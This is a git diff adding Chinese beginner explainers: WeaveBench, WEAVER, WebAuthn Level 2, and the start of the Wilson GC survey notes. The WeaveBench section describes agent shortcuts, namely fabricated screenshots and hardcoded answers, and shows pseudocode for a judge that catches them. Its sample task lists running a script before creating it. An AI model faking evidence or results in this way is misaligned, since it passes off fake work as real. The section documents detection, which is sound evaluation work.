+- 每次看到什么（截图、页面信息）
+- 每次做了什么（点击、打字、运行命令）
+- 产生了什么结果（文件、代码、输出）
+
+WeaveBench 要求每个任务必须在**一个轨迹内完成**，不能把 GUI 操作和 CLI 操作分开来考。
+
+### 评测环境
+
+任务在一个真实的 Ubuntu 桌面环境中运行，里面部署了 CLI-agent 运行时，并配了一个最小的桌面控制插件。
+
+简单来说：智能体不是在"空房间"里答题，而是在一个有桌面、有命令行、有各种软件的真实系统中完成任务。
+
+## 代码示例
+
+### 示例 1：一个 WeaveBench 任务的描述格式
+
+下面是一个简化的任务描述示例，展示任务的结构：
+
+```json
+{
+  "task_id": "wb_data_analysis_001",
+  "domain": "数据分析",
+  "instruction": "从 Kaggle 下载泰坦尼克号数据集，用 Python 分析各舱位的存活率，将结果保存为 CSV 文件，并在终端中打印摘要。",
+  "steps": [
+    {
+      "interface": "gui",
+      "action": "打开 Chrome 浏览器，导航到 kaggle.com",
+      "observation": "看到 Kaggle 首页和搜索框"
+    },
+    {
+      "interface": "gui",
+      "action": "在搜索框输入 'titanic dataset' 并回车",
+      "observation": "看到泰坦尼克数据集页面"
+    },
+    {
+      "interface": "gui",
+      "action": "点击 'Download' 按钮下载 CSV 文件",
+      "observation": "文件保存到 ~/Downloads/"
+    },
+    {
+      "interface": "cli",
+      "action": "打开终端，执行: python3 analyze.py ~/Downloads/titanic.csv",
+      "observation": "终端输出各舱位存活率数据"
+    },
+    {
+      "interface": "code",
+      "action": "创建 analyze.py 文件，写入数据分析代码",
+      "observation": "文件保存成功"
+    }
+  ],
+  "verification_artifacts": [
+    "~/output/result.csv",
+    "终端截图（包含存活率摘要）"
+  ]
+}
+```
+
+这个任务要求智能体同时使用 GUI（浏览器操作）、CLI（终端执行）和 Code（写 Python 脚本）三种界面。
+
+### 示例 2：轨迹感知评分器的思路
+
+WeaveBench 提出了一个**轨迹感知评分器**（trajectory-aware judge）。传统的评分只看最终结果（有没有生成正确的文件），而轨迹感知评分器还会检查智能体"是怎么做的"。
+
+伪代码示例：
+
+```python
+def trajectory_judge(task, agent_trajectory, verification_artifacts):
+    # 第一步：检查结果是否正确（传统方式）
+    result_correct = verify_artifacts(verification_artifacts)
+
+    # 第二步：检查过程中是否有"走捷径"
+    shortcuts_detected = detect_shortcuts(agent_trajectory)
+
+    # 检测 1：是否伪造了截图证据
+    if has_fabricated_screenshots(agent_trajectory):
+        shortcuts_detected.append("fabricated_screenshots")
+
+    # 检测 2：是否硬编码了答案（没有真正执行）
+    if has_hardcoded_metrics(agent_trajectory):
+        shortcuts_detected.append("hardcoded_metrics")
+
+    # 第三步：综合评分
+    if shortcuts_detected:
+        score = 0  # 发现走捷径，直接零分
+        reason = f"Detected shortcuts: {shortcuts_detected}"
+    elif result_correct:
+        score = 1.0
+        reason = "Correct result with valid trajectory"
+    else:
+        score = 0.0
+        reason = "Incorrect result"
+
+    return {
+        "score": score,
+        "reason": reason,
+        "shortcuts": shortcuts_detected
+    }
+```
+
+这里的核心思想是：**即使结果对了，如果过程有作弊嫌疑（比如伪造截图、硬编码输出），也应该被判零分**。
+
+## 关键发现
+
+论文评测了多个前沿模型-运行时组合后，得到两个重要发现：
+
+### 发现 1：最高通过率只有 41.2%
+
+即便是最好的模型，在这套测试上的通过率也只有 41.2%。这说明：
+
+- 这个基准测试**还没有被"刷分"刷到饱和**
+- 当前的 AI 智能体在**跨界面协调方面还有很大差距**
+
+### 发现 2：只看结果会严重高估智能体的能力
+
+传统"只看最终结果"的评分方式，会大幅高估智能体的真实水平。因为：
+
+- 智能体可能通过走捷径拿到了正确的结果
+- 轨迹感知评分器能发现这些捷径（伪造截图、硬编码等）
+- 用轨迹感知评分器后，得分明显更低
+
+这意味着：**我们过去可能以为 AI 智能体比实际更聪明了**。
+
+## 核心概念总结
+
+| 概念 | 解释 |
+|------|------|
+| 混合界面 | 同时使用 GUI、CLI、代码编辑等多种界面完成任务 |
+| 长周期任务 | 需要多步操作、跨越多个软件完成的复杂任务 |
+| 轨迹 | 智能体完成任务的全过程记录（看到的、做的、产生的） |
+| 轨迹感知评分 | 不仅看结果对不对，还看过程合不合理 |
+| 捷径行为 | 智能体为拿到正确结果而采取的"作弊"手段 |
+
+## 为什么这很重要
+
+对于学习 AI 智能体的你来说，理解 WeaveBench 的关键在于：
+
+1. **智能体不是单一能力的叠加**。能操作网页的和能写代码的，不等于能同时做两件事。
+2. **评测方法需要跟上**。旧的方法测不出智能体的真实能力，新工具（如轨迹感知评分器）才能揭示差距。
+3. **现实世界很难**。41.2% 的最高通过率提醒我们，AI 智能体在真实世界中的表现还远不如我们想象的那么强。
+
+## 延伸阅读
+
+如果你感兴趣，可以进一步了解：
+
+- 这个基准测试和 SWE-bench（软件测试智能体基准）的区别——SWE-bench 主要测代码修复，WeaveBench 测的是跨多种界面的综合任务
+- 轨迹感知评分和"LLM as Judge"的关系——两者都用 AI 做裁判，但轨迹感知更关注过程而非仅结果
diff --git a/src/content/docs/papers/weaver.md b/src/content/docs/papers/weaver.md
new file mode 100644
index 000000000..1e0ce6568
--- /dev/null
+++ b/src/content/docs/papers/weaver.md
@@ -0,0 +1,238 @@
+---
+title: WEAVER: Better, Faster, Longer — An Effective World Model for Robotic Manipulation
+来源: https://arxiv.org/abs/2606.13672
+日期: 2026-06-13
+分类: 机器学习
+子分类: 机器人
+provenance: pipeline-v3
+---
+
+# WEAVER：让机器人学会"想象未来"的世界模型
+
+## 一、从日常类比开始
+
+想象你在玩《我的世界》（Minecraft），但你不是亲自操控角色——你面前有一台"未来预测机"。
+
+当你输入一个想法，比如"往前走三步，再挖一块石头"，这台机器会立刻向你展示一段视频：角色真的向前走了三步，然后挖了一块石头。而且这段视频里，光照、角度、周围物体的位置全都符合物理规律。
+
+这台"未来预测机"就是 **World Model（世界模型）**。
+
+有了它，机器人不需要真的去动手就能"想象"一系列动作会怎样。这有什么用？三个大用处：
+
+1. **评估**：在想象里试试这个策略行不行，不行就换，省得在真机器人上反复失败
+2. **改进**：在想象里找到更好的做法，教给机器人
+3. **规划**：实时地"想象"多种可能的下一步，选最好的那个
+
+问题在于：现有的世界模型往往顾此失彼——有的质量高但太慢（相当于"想象未来"要十秒），有的速度快但画面崩坏（相当于预测视频里人物突然长出六条手臂）。
+
+**WEAVER 的目标很简单：三个全都要。** 更高保真、更长一致性、更快生成。
+
+---
+
+## 二、核心概念
+
+### 2.1 世界模型是什么？
+
+世界模型（World Model, WM）是一种**学习到的模拟器**。它从真实世界的数据中学习到"这个世界是如何运转的"，然后当你给它当前的状态和一系列动作指令时，它能预测这些动作会带来什么结果。
+
+用数学语言来说：给定当前观测 o_t 和动作 a_t，世界模型预测未来的状态 z_{t+1}：
+
+```
+z_{t+1} ≈ f_φ(z_mem, z_hist, a_t)
+```
+
+这里的 `f_φ` 就是世界模型本身——一个神经网络。
+
+### 2.2 WEAVER 要解决的三大难题
+
+| 难题 | 是什么意思 | 类比 |
+|------|-----------|------|
+| 保真度（Fidelity） | 预测的画面要和真实接近 | 你想象的未来不能跟现实差太远 |
+| 一致性（Consistency） | 预测的多个画面之间要连贯 | 不是每一帧好看就行，整个视频要通顺 |
+| 效率（Efficiency） | 预测要快，快到能实时使用 | 预测未来不能比真实未来还慢 |
+
+### 2.3 WEAVER 的关键设计
+
+#### 多视角预测
+
+真实机器人通常有多个摄像头：两个外部摄像头 + 一个手腕摄像头。多个视角能解决"遮挡"问题——当机械臂挡住一部分画面时，另一个摄像头还能看到。WEAVER 能同时预测所有视角的将来。
+
+#### 记忆 + 短期历史
+
+WEAVER 在预测时同时使用两类信息：
+
+- **稀疏记忆**（Sparse Memory）：每隔 k 步取一个状态，类似"长期记忆"，帮助理解哪些东西长期不变
+- **短期历史**（Short-term History）：最近两步的状态，类似"短期记忆"，帮助理解刚刚发生了什么
+
+#### 流匹配 + 扩散强制
+
+这是 WEAVER 训练目标的核心。
+
+**流匹配（Flow Matching）**：想象你从一团噪声（一团乱麻）开始，训练一个模型学习"如何把乱麻变成清晰的图像"。这个"变成"的过程是一个连续的流动，模型学习的就是这个流动的"方向"。
+
+**扩散强制（Diffusion Forcing）**：在预测未来时，不同时间步使用不同强度的噪声训练。简单说就是让模型学会在不同时间长度下都保持一致性。
+
+---
+
+## 三、代码示例
+
+### 3.1 世界模型的前向预测
+
+下面展示 WEAVER 如何用记忆、历史和动作来预测未来：
+
+```python
+# 1. 编码当前观测（多视角图像 + 机器人本体状态）
+# o_t = {I_1, I_2, I_wrist, q_t}
+z_t = encoder(o_t)               # 将观测编码为隐状态 z
+
+# 2. 构建记忆和短期历史
+z_mem = [z_{t-k}, z_{t-2k}]      # 稀疏记忆：每隔 k 步取一个
+z_hist = [z_{t-1}, z_t]          # 短期历史：最近两步
+
+# 3. 给定未来 h 步的动作序列 a_t
+#    a_t = {a_t, a_{t+1}, ..., a_{t+h-1}}
+
+# 4. 用世界模型预测未来 h 步的隐状态
+z_hat = world_model(
+    memory=z_mem,                # 长期上下文
+    history=z_hist,              # 近期动作后果
+    actions=a_t,                 # 要预测的动作计划
+)                               # 输出: z_hat = {z_{t+1}, ..., z_{t+h}}
+```
+
+### 3.2 流匹配损失函数
+
+这是 WEAVER 训练世界模型的核心损失：
+
+```python
+import torch
+import torch.nn.functional as F
+
+def flow_matching_loss(model, z_future, z_history, memory, actions):
+    """
+    流匹配损失：
+    - z_future: 真实未来隐状态 z_{t+1:t+h+1}（形状: [batch, T, D]）
+    - z_history: 过去隐状态序列（形状: [batch, m, D]）
+    - memory: 稀疏记忆（形状: [batch, M, D]）
+    - actions: 动作序列（形状: [batch, T, A]）
+
+    模型目标：从噪声预测出 "z_future - noise" 的方向
+    """
+    # 1. 采样：从标准正态分布取噪声
+    z_noise = torch.randn_like(z_future)
+
+    # 2. 采样随机时间点 τ ∈ [0, 1)
+    #    这决定了"噪声和真实"混合的比例
+    tau = torch.rand(len(z_future), device=z_future.device)
+
+    # 3. 混合：x_τ = τ * z_future + (1 - τ) * z_noise
+    z_tau = tau[:, None, None] * z_future + (1 - tau[:, None, None]) * z_noise
+
+    # 4. 模型预测"速度向量"（方向）
+    predicted_velocity = model(
+        memory=memory,
+        history=z_history,
+        actions=actions,
+        z_tau=z_tau,       # 当前混合状态
+        tau=tau,           # 当前时间点
+    )
+
+    # 5. 真实速度 = z_future - z_noise（从噪声到目标的"方向"）
+    target_velocity = z_future - z_noise
+
+    # 6. 最小预测方向和真实方向的差距
+    loss = F.mse_loss(predicted_velocity, target_velocity)
+    return loss
+```
+
+**这个损失函数的含义**：想象你站在山顶，蒙着眼睛下山。每次你随机选一个位置（z_τ），模型需要告诉你"应该往哪个方向走才能到达终点"。训练的目标就是让模型预测的方向和真正的方向尽可能一致。
+
+---
+
+## 四、下游应用
+
+WEAVER 满足"三高"（高保真、高一致、高效率）后，能支持三种下游任务：
+
+### 4.1 策略评估（Policy Evaluation）
+
+把真实机器人走过的动作"回放"到 WEAVER 的想象世界中，记录每一步的奖励值。奖励值与真实成功率的 **相关系数高达 ρ = 0.870**——也就是说，WEAVER 的想象非常接近现实。
+
+### 4.2 策略改进（Policy Improvement）
+
+在想象世界中"试错"：从当前策略采样多条可能的动作路径，让 WEAVER 预测每条路径的结果，计算每条路径的"优势值"（比平均水平好多少）。如果找到明显更好的路径，就把它教给真正的机器人。**在 π_0.5 基础模型上，无需任何真实交互，成功率提升了 38%。**
+
+### 4.3 运行时规划（Test-time Planning）
+
+给定当前画面，采样 B 个候选动作，在 WEAVER 中各"想象"一步，选奖励最高的那个实际执行。这比之前最快的 Ctrl-World 方法 **快了 5-10 倍**。
+
+---
+
+## 五、模型架构一览
+
+```
+┌──────────────────────────────────────────────┐
+│               WEAVER 架构                      │
+│                                              │
+│  输入: 多视角图像 + 本体状态 + 语言指令        │
+│       ↓                                      │
+│  预训练编码器 (Stable Diffusion 3 VAE)         │
+│       ↓                                      │
+│  隐状态 z_t                                   │
+│       ↓                                      │
+│  ┌──────────────────────┐                     │
+│  │  2D Transformer      │                     │
+│  │  - 空间注意力         │                     │
+│  │  - 因果时间注意力     │                     │
+│  │  - 记忆/历史条件化    │                     │
+│  │  - 流匹配损失训练     │                     │
+│  └──────────────────────┘                     │
+│       ↓                                      │
+│  未来隐状态 z_{t+1:t+h+1}                     │
+│       ↓                                      │
+│  ┌─────────┐  ┌──────────┐  ┌──────────┐    │
+│  │奖励头   │  │ 评论家头  │  │ 解码器   │    │
+│  │(评分)   │  │(长远价值) │  │(还原图像) │    │
+│  └─────────┘  └──────────┘  └──────────┘    │
+│                                              │
+│  928M 参数 | 预训练 1M步 | 4×H100, 10天      │
+└──────────────────────────────────────────────┘
+```
+
+---
+
+## 六、关键数据总结
+
+| 指标 | WEAVER 表现 |
+|------|-----------|
+| FID（DROID val, NFE=16） | 10.20（Ctrl-World: 26.09） |
+| FVD（DROID val, NFE=16） | 27.83（Ctrl-World: 78.73） |
+| 推理速度（NFE=16, 外置相机） | 4.78s（Ctrl-World: 14.65s） |
+| 策略评估相关性 | ρ = 0.870 |
+| 策略改进提升 | +38% 成功率（无需真实交互） |
+| 运行时规划提升 | +14% 成功率，5-10 倍加速 |
+
+---
+
+## 七、作者与机构
+
+- **Arnav Kumar Jain** — Mila / 蒙特利尔大学
+- **Yilin Wu** — 卡内基梅隆大学
+- **Jesse Farebrother** — Mila / 麦吉尔大学
+- **Gokul Swamy** — 卡内基梅隆大学
+- **Andrea Bajcsy** — 卡内基梅隆大学
+
+代码、模型和视频：https://arnavkj1995.github.io/WEAVER/
+
+---
+
+## 八、推荐阅读顺序
+
+如果你和我一样零基础，建议按这个顺序理解：
+
+1. 先搞懂"世界模型"是什么（类比"未来预测机"）
+2. 理解"流匹配"——从噪声到目标的连续流动
+3. 理解"多视角"为什么比单视角更强（遮挡问题）
+4. 理解为什么三个 desiderata 很难同时满足
+5. 再看下游应用的三个任务
+
+不要一上来就看公式，从直觉开始会容易得多。
diff --git a/src/content/docs/papers/webauthn-fido2.md b/src/content/docs/papers/webauthn-fido2.md
new file mode 100644
index 000000000..88bdc7cf6
--- /dev/null
+++ b/src/content/docs/papers/webauthn-fido2.md
@@ -0,0 +1,350 @@
+---
+title: WebAuthn Level 2 — 用公钥凭证替代密码的 Web 标准
+来源: 'https://www.w3.org/TR/webauthn-2/'
+日期: 2026-06-13
+子分类: 安全与隐私
+分类: 安全与隐私
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Web Authentication Level 2**（简称 WebAuthn）是 W3C 2021 年发布的推荐标准，定义了一套浏览器 API，让网站能用**公钥密码学**完成注册与登录，而不必把密码存在服务器上。它是 FIDO2 协议在 Web 端的落地规范；Apple / Google / Microsoft 推广的 **Passkey（通行密钥）** 就建在这套 API 之上。
+
+日常类比：传统密码登录像「你把家门钥匙的复印件交给物业，物业把复印件锁进档案柜」——物业一旦被偷，所有住户都危险。WebAuthn 则像「银行保险箱」：
+
+- **注册**：你在银行（Authenticator，认证器）开一个箱子，银行给你一把**只能开这个箱子的私钥**，把**公钥**复印件交给网站（Relying Party，依赖方）。
+- **登录**：网站每次发一张**一次性挑战纸条**（challenge），你必须带着私钥到场签名，银行确认是你本人（指纹 / PIN）后才签。网站用存档的公钥验签——**私钥从不离开你的设备**。
+
+浏览器（User Agent）站在中间：它帮网站找到认证器、传递挑战、保护隐私，确保 `github.com` 的凭证不会被 `evil.com` 冒用。
+
+## 为什么重要
+
+不理解 WebAuthn，下面这些事都讲不清：
+
+- 为什么 iPhone / Android 能「扫脸就登录 GitHub」——平台认证器把私钥锁在 Secure Enclave / TEE 里
+- 为什么 Passkey 可以跨设备同步，却仍能抵抗钓鱼——`rpId` 把凭证绑定到具体域名，假网站拿不到合法签名
+- 为什么安全密钥（YubiKey）能当第二因素，也能单独当第一因素——同一套 API，不同 `authenticatorAttachment`
+- 为什么服务端「验签」比「比对密码哈希」复杂——要处理 CBOR、attestation、签名计数器、challenge 时效
+- 为什么 Level 2 比 Level 1 多了 resident key、扩展、企业证明等能力——Passkey 时代的基础设施
+
+WebAuthn 把「强认证」从原生 App 专属能力，变成了**任何 HTTPS 网站都能调用的标准 JavaScript API**。
+
+## 核心概念
+
+### 三方角色
+
+| 角色 | 是谁 | 做什么 |
+|------|------|--------|
+| **Relying Party (RP)** | 你的网站后端 + 前端 | 发起注册/登录，验证签名，存公钥 |
+| **User Agent** | Chrome / Safari / Firefox | 调用 `navigator.credentials`，强制执行同源策略 |
+| **Authenticator** | 安全密钥、Touch ID、Windows Hello | 生成密钥对、要求用户手势、返回签名 |
+
+### 两条主路径
+
+1. **注册（Registration）**：`navigator.credentials.create({ publicKey })` → 认证器生成新密钥对 → 返回 **attestation object**（含公钥 + 设备证明）
+2. **认证（Authentication）**：`navigator.credentials.get({ publicKey })` → 认证器用已有私钥签名 challenge → 返回 **assertion**
+
+### 关键数据结构
+
+- **challenge**：服务端生成的随机数（通常 ≥16 字节），防重放；必须一次性使用、短期有效
+- **rpId**：依赖方标识，一般是域名（如 `example.com`），写进签名里，防钓鱼
+- **credentialId**：认证器生成的 opaque ID，服务端用来查「这是哪把钥匙」
+- **userHandle**：服务端给用户的稳定 ID（不必是邮箱），存在 resident credential 里供无用户名登录
+- **attestation**：注册时认证器证明自己「是什么设备」（厂商、型号、是否带 UV）
+- **signature counter**：每次签名递增，服务端检测克隆密钥
+
+### 凭证类型（Level 2 重点）
+
+- **Non-discoverable（服务端凭证）**：credentialId 存在服务端，登录时要带 `allowCredentials` 列表
+- **Discoverable / Resident（客户端可发现凭证）**：私钥和 userHandle 存在认证器本地，登录时用户直接选账号——**Passkey 默认走这条路**
+
+`authenticatorSelection.residentKey` 控制是否要求可发现凭证：`"discouraged"` | `"preferred"` | `"required"`。
+
+### userVerification
+
+| 值 | 含义 |
+|----|------|
+| `"required"` | 必须 PIN / 生物识别 |
+| `"preferred"` | 有则用，默认 |
+| `"discouraged"` | 不要求（如仅作第二因素） |
+
+### 安全边界（规范反复强调）
+
+- 私钥**永不导出**；浏览器只看到签名结果
+- 每次操作必须**用户同意**（触摸密钥、扫脸等）
+- 签名覆盖 **origin + rpId + challenge**，换域名即失效
+- RP 之间**互不可见**——GitHub 无法探测你在 Google 有没有 Passkey
+
+## 端到端流程
+
+```mermaid
+sequenceDiagram
+    participant U as 用户
+    participant B as 浏览器
+    participant A as 认证器
+    participant S as RP 服务端
+
+    Note over U,S: 注册
+    S->>B: 返回 creation options（含 challenge）
+    B->>A: authenticatorMakeCredential
+    A->>U: 请求生物识别 / PIN
+    U->>A: 授权
+    A->>B: attestation（公钥 + 签名）
+    B->>S: 提交 attestation
+    S->>S: 验证 attestation，存公钥 + credentialId
+
+    Note over U,S: 登录
+    S->>B: 返回 request options（含 challenge）
+    B->>A: authenticatorGetAssertion
+    A->>U: 请求授权
+    U->>A: 授权
+    A->>B: assertion（签名 + credentialId）
+    B->>S: 提交 assertion
+    S->>S: 查公钥，验签，检查 signCount
+```
+
+## 代码示例
+
+### 示例 1：前端注册（`create`）
+
+下列代码摘自规范 §1.3.1，展示 RP 如何请求 ES256 或 RS256 凭证，并排除已注册设备：
+
+```javascript
+if (!window.PublicKeyCredential) {
+  throw new Error('浏览器不支持 WebAuthn');
+}
+
+// challenge / user.id 应由服务端生成并下发，不能在前端硬编码
+const creationOptions = {
+  challenge: Uint8Array.from(atob(serverChallengeB64), c => c.charCodeAt(0)),
+  rp: { name: 'ACME Corporation', id: 'acme.example.com' },
+  user: {
+    id: Uint8Array.from(atob(serverUserIdB64), c => c.charCodeAt(0)),
+    name: 'alex.mueller@example.com',
+    displayName: 'Alex Müller',
+  },
+  pubKeyCredParams: [
+    { type: 'public-key', alg: -7 },   // ES256
+    { type: 'public-key', alg: -257 }, // RS256
+  ],
+  authenticatorSelection: {
+    residentKey: 'required',       // Passkey：可发现凭证
+    userVerification: 'preferred',
+    authenticatorAttachment: 'platform', // 平台内置（Face ID 等）
+  },
+  timeout: 60_000,
+  excludeCredentials: existingCredentialIds.map(id => ({
+    type: 'public-key',
+    id: Uint8Array.from(atob(id), c => c.charCodeAt(0)),
+  })),
+};
+
+const credential = await navigator.credentials.create({ publicKey: creationOptions });
+
+// 发给服务端：credential.id, rawId, type, response.attestationObject, response.clientDataJSON
+await fetch('/webauthn/register/verify', {
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json' },
+  body: JSON.stringify({
+    id: credential.id,
+    rawId: bufferToBase64url(credential.rawId),
+    type: credential.type,
+    response: {
+      attestationObject: bufferToBase64url(credential.response.attestationObject),
+      clientDataJSON: bufferToBase64url(credential.response.clientDataJSON),
+    },
+  }),
+});
+```
+
+### 示例 2：前端登录（`get`）+ 可发现凭证
+
+无用户名登录时，不传 `allowCredentials`，认证器展示本地保存的 Passkey 列表：
+
+```javascript
+const authOptions = {
+  challenge: Uint8Array.from(atob(serverChallengeB64), c => c.charCodeAt(0)),
+  rpId: 'acme.example.com',
+  timeout: 120_000,
+  userVerification: 'required',
+  // 不传 allowCredentials → 使用 discoverable / resident credentials
+};
+
+const assertion = await navigator.credentials.get({ publicKey: authOptions });
+
+await fetch('/webauthn/login/verify', {
+  method: 'POST',
+  headers: { 'Content-Type': 'application/json' },
+  body: JSON.stringify({
+    id: assertion.id,
+    rawId: bufferToBase64url(assertion.rawId),
+    type: assertion.type,
+    response: {
+      authenticatorData: bufferToBase64url(assertion.response.authenticatorData),
+      clientDataJSON: bufferToBase64url(assertion.response.clientDataJSON),
+      signature: bufferToBase64url(assertion.response.signature),
+      userHandle: assertion.response.userHandle
+        ? bufferToBase64url(assertion.response.userHandle)
+        : null,
+    },
+  }),
+});
+
+function bufferToBase64url(buf) {
+  return btoa(String.fromCharCode(...new Uint8Array(buf)))
+    .replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, '');
+}
+```
+
+### 示例 3：服务端验证（Node.js 思路）
+
+规范把密码学验证放在 RP 服务端；实践中常用 [@simplewebauthn/server](https://simplewebauthn.dev/) 等库。核心步骤与规范 §7 一致：
+
+```javascript
+import {
+  generateRegistrationOptions,
+  verifyRegistrationResponse,
+  generateAuthenticationOptions,
+  verifyAuthenticationResponse,
+} from '@simplewebauthn/server';
+
+const rpID = 'acme.example.com';
+const origin = 'https://acme.example.com';
+
+// --- 注册：第一步，下发 options ---
+app.get('/webauthn/register/options', async (req, res) => {
+  const options = await generateRegistrationOptions({
+    rpName: 'ACME Corporation',
+    rpID,
+    userID: req.session.userId,
+    userName: req.session.email,
+    attestationType: 'none', // 多数网站不校验设备厂商证明
+    authenticatorSelection: {
+      residentKey: 'required',
+      userVerification: 'preferred',
+    },
+  });
+  req.session.currentChallenge = options.challenge;
+  res.json(options);
+});
+
+// --- 注册：第二步，验证 attestation ---
+app.post('/webauthn/register/verify', async (req, res) => {
+  const verification = await verifyRegistrationResponse({
+    response: req.body,
+    expectedChallenge: req.session.currentChallenge,
+    expectedOrigin: origin,
+    expectedRPID: rpID,
+  });
+  if (!verification.verified) return res.status(400).send('注册验证失败');
+
+  const { credentialPublicKey, credentialID, counter } = verification.registrationInfo;
+  await db.saveCredential({
+    userId: req.session.userId,
+    credentialId: credentialID,
+    publicKey: credentialPublicKey,
+    signCount: counter,
+  });
+  res.json({ verified: true });
+});
+
+// --- 登录：验证 assertion ---
+app.post('/webauthn/login/verify', async (req, res) => {
+  const cred = await db.findByCredentialId(req.body.rawId);
+  const verification = await verifyAuthenticationResponse({
+    response: req.body,
+    expectedChallenge: req.session.currentChallenge,
+    expectedOrigin: origin,
+    expectedRPID: rpID,
+    authenticator: {
+      credentialID: cred.credentialId,
+      credentialPublicKey: cred.publicKey,
+      counter: cred.signCount,
+    },
+  });
+  if (!verification.verified) return res.status(401).send('登录验证失败');
+
+  await db.updateSignCount(cred.id, verification.authenticationInfo.newCounter);
+  req.session.userId = cred.userId;
+  res.json({ verified: true });
+});
+```
+
+### 示例 4：能力检测与中止长时间操作
+
+Level 2 引入 `PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable()`，以及用 `AbortSignal` 取消挂起的认证：
+
+```javascript
+// 检测是否可用平台 Passkey（Touch ID / Windows Hello）
+const uvpa = await PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable();
+
+const controller = new AbortController();
+const timer = setTimeout(() => controller.abort(), 60_000);
+
+try {
+  const cred = await navigator.credentials.create({
+    publicKey: creationOptions,
+    signal: controller.signal,
+  });
+  clearTimeout(timer);
+} catch (err) {
+  if (err.name === 'AbortError') {
+    console.log('用户超时或主动取消');
+  }
+}
+```
+
+## Level 2 相对 Level 1 的增量
+
+| 能力 | 说明 |
+|------|------|
+| **Resident / discoverable keys** | 支撑无密码用户名登录（Passkey 核心） |
+| **Credential Properties 扩展** | 注册后可查询 `rk`（是否 resident）等属性 |
+| **AppID Exclude 扩展** | 与旧 U2F `appid` 凭证去重，平滑迁移 |
+| **Enterprise attestation** | 企业可要求设备合规证明（MDM 场景） |
+| **AbortSignal** | 可取消进行中的 create/get |
+| **更完整的 UV 平台检测 API** | 引导用户走生物识别注册流程 |
+
+Level 3 草案已在推进（如 `prf` 扩展、联合凭证等），但截至 2026 年，**生产环境仍以 Level 2 为事实标准**。
+
+## 与相邻技术的关系
+
+```
+密码 / OAuth          →  「你知道什么」或「第三方担保」
+TOTP / SMS OTP        →  「你暂时持有的码」，可被钓鱼 + 重放
+WebAuthn / FIDO2      →  「你持有的设备 + 你的生物特征」，挑战-响应、域名绑定
+```
+
+- **CTAP2**：浏览器与认证器之间的有线/无线协议（USB / NFC / BLE），WebAuthn 是它的 Web 绑定层
+- **FIDO U2F**：上一代标准，Level 2 通过 `appid` / `appidExclude` 保持向后兼容
+- **Credential Management API**：WebAuthn 扩展了 `navigator.credentials`，新增 `PublicKeyCredential` 类型
+
+## 常见坑与最佳实践
+
+1. **challenge 必须服务端随机生成**，存 session / Redis，验证后立即作废；不要用固定值或前端生成
+2. **rpId 必须是有效域后缀**：页面在 `auth.example.com` 时，rpId 可以是 `example.com`，但不能写成 `other.com`
+3. **生产环境务必 HTTPS**；`localhost` 例外仅用于开发
+4. **attestation 策略**：消费级网站通常设 `attestation: 'none'`，减少隐私指纹；金融 / 企业场景才强制 `direct` / `enterprise`
+5. **检查 signature counter**：若新签名计数不大于数据库记录，可能密钥被克隆
+6. **跨设备 Passkey**：依赖平台云同步（Apple iCloud Keychain、Google Password Manager）；自建 RP 要设计「多凭证 per 用户」
+7. **权限策略**：iframe 内嵌需 `Permissions-Policy: publickey-credentials-create=(self)` 等，防止恶意嵌套页调起认证
+
+## 动手检验
+
+1. 打开 [webauthn.io](https://webauthn.io/) 或 Chrome DevTools → **Application → WebAuthn**，模拟注册/登录
+2. 本地起一个简单的 Express + `@simplewebauthn/server` demo，用 Chrome `localhost` 走通 create → verify → get → verify
+3. 读规范 §1.3 四个示例流程图，对照自己项目的时序是否缺了「challenge 下发」或「验签」步骤
+4. 用 `security key` 实物（YubiKey）注册后，故意在错误 `rpId` 的子域测试，确认断言失败
+
+## 小结
+
+WebAuthn Level 2 做了一件看似简单、影响深远的事：**把 FIDO 的强认证协议，翻译成两个浏览器方法**——`credentials.create` 和 `credentials.get`。网站不再存储可被拖库的密码，而是存储公钥；每次登录都是一次性的挑战-响应签名。理解 RP / Authenticator / challenge / rpId / resident key 这条主线，就能读懂 Passkey 产品叙事背后的协议层，也能在安全审计时判断实现是否「验了该验的东西」。
+
+## 延伸阅读
+
+- 规范正文：[Web Authentication Level 2](https://www.w3.org/TR/webauthn-2/)
+- MDN API 参考：[Web Authentication API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Authentication_API)
+- FIDO CTAP2：[Client to Authenticator Protocol](https://fidoalliance.org/specifications/download/)
+- 本库相关笔记：[[rsa]]（公钥密码基础）、[[sgx-2013]]（可信执行环境，与平台认证器存储类比）
diff --git a/src/content/docs/papers/websocket-rfc-6455.md b/src/content/docs/papers/websocket-rfc-6455.md
index cc81f0791..d0b84c5cd 100644
--- a/src/content/docs/papers/websocket-rfc-6455.md
+++ b/src/content/docs/papers/websocket-rfc-6455.md
@@ -158,4 +158,5 @@ WebSocket 静默 60 秒后，LB 不知道这条 TCP 还有人用，发个 RST 
 - [[mogul-1995-persistent-http]] —— Mogul 1995 — 为什么 HTTP 必须改成"一根连接复用多次请求"
 - [[mptcp-2012]] —— MPTCP 2012 — 把一根 TCP 管道变成多条并行水管
 - [[mqtt-s-2008]] —— MQTT-S 2008 — 把发布/订阅消息机制装进传感器芯片
+- [[noise-protocol-framework]] —— Noise Protocol Framework — 用「握手配方」拼出端到端加密通道
 
diff --git a/src/content/docs/papers/wilson-1992-gc-survey.md b/src/content/docs/papers/wilson-1992-gc-survey.md
new file mode 100644
index 000000000..aaee8a181
--- /dev/null
+++ b/src/content/docs/papers/wilson-1992-gc-survey.md
@@ -0,0 +1,240 @@
+---
+title: 单处理器垃圾回收技术——一篇经典综述的零基础解读
+来源: https://www.cs.cmu.edu/~fp/courses/15411-f09/misc/wilson92survey.pdf
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# 单处理器垃圾回收技术 —— Wilson 1992 综述笔记
+
+## 一、垃圾回收到底是什么？
+
+想象你在整理一间房间。你有很多玩具（对象），它们之间用绳子连接（引用）。比如积木 A 上拴着一根绳到积木 B，表示"A 引用了 B"。
+
+现在你决定把地上的玩具全部收进箱子。但规则是：**只有被"手"（栈）或者"地板"（全局变量）直接抓着的玩具才能收**。如果某个玩具没有任何绳子通向手或地板，那它就是没人要的（不可达的），应该扔进垃圾桶。
+
+垃圾回收（GC）就是自动做这件事的程序：找出所有"没人要的玩具"，把它们回收，腾出空间给新玩具。
+
